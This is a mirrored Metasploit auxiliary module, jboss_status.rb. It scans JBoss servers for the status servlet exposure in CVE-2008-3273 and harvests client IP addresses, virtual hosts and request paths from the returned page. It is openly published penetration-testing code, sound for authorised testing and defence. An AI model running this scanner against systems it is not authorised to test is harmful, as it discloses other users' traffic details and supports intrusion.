Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

jboss_status.rb 3.2KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Auxiliary
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Auxiliary::Report
  9. include Msf::Auxiliary::Scanner
  10. def initialize
  11. super(
  12. 'Name' => 'JBoss Status Servlet Information Gathering',
  13. 'Description' => %q{
  14. This module queries the JBoss status servlet to collect sensitive
  15. information, including URL paths, GET parameters and client IP addresses.
  16. This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3.
  17. },
  18. 'References' =>
  19. [
  20. ['CVE', '2008-3273'],
  21. ['URL', 'http://seclists.org/fulldisclosure/2011/Sep/139'],
  22. ['URL', 'https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf'],
  23. ['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned']
  24. ],
  25. 'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
  26. 'License' => MSF_LICENSE
  27. )
  28. register_options([
  29. Opt::RPORT(8080),
  30. OptString.new('TARGETURI', [ true, 'The JBoss status servlet URI path', '/status'])
  31. ], self.class)
  32. end
  33. def run_host(target_host)
  34. jpath = normalize_uri(target_uri.to_s)
  35. @requests = []
  36. vprint_status("#{rhost}:#{rport} - Collecting data through #{jpath}...")
  37. res = send_request_raw({
  38. 'uri' => jpath,
  39. 'method' => 'GET'
  40. })
  41. # detect JBoss application server
  42. if res and res.code == 200 and res.body.match(/<title>Tomcat Status<\/title>/)
  43. http_fingerprint({:response => res})
  44. html_rows = res.body.split(/<strong>/)
  45. html_rows.each do |row|
  46. #Stage Time B Sent B Recv Client VHost Request
  47. #K 150463510 ms ? ? 1.2.3.4 ? ?
  48. # filter client requests
  49. if row.match(/(.*)<\/strong><\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td nowrap>(.*)<\/td><td nowrap>(.*)<\/td><\/tr>/)
  50. j_src = $5
  51. j_dst = $6
  52. j_path = $7
  53. @requests << [j_src, j_dst, j_path]
  54. end
  55. end
  56. elsif res and res.code == 401
  57. vprint_error("#{rhost}:#{rport} - Authentication is required")
  58. return
  59. elsif res and res.code == 403
  60. vprint_error("#{rhost}:#{rport} - Forbidden")
  61. return
  62. else
  63. vprint_error("#{rhost}:#{rport} - Unknown error")
  64. return
  65. end
  66. # show results
  67. unless @requests.empty?
  68. show_results(target_host)
  69. end
  70. end
  71. def show_results(target_host)
  72. print_good("#{rhost}:#{rport} JBoss application server found")
  73. req_table = Rex::Text::Table.new(
  74. 'Header' => 'JBoss application server requests',
  75. 'Indent' => 1,
  76. 'Columns' => ['Client', 'Vhost target', 'Request']
  77. )
  78. @requests.each do |r|
  79. req_table << r
  80. report_note({
  81. :host => target_host,
  82. :proto => 'tcp',
  83. :sname => (ssl ? 'https' : 'http'),
  84. :port => rport,
  85. :type => 'JBoss application server info',
  86. :data => "#{rhost}:#{rport} #{r[2]}"
  87. })
  88. end
  89. print_line
  90. print_line(req_table.to_s)
  91. end
  92. end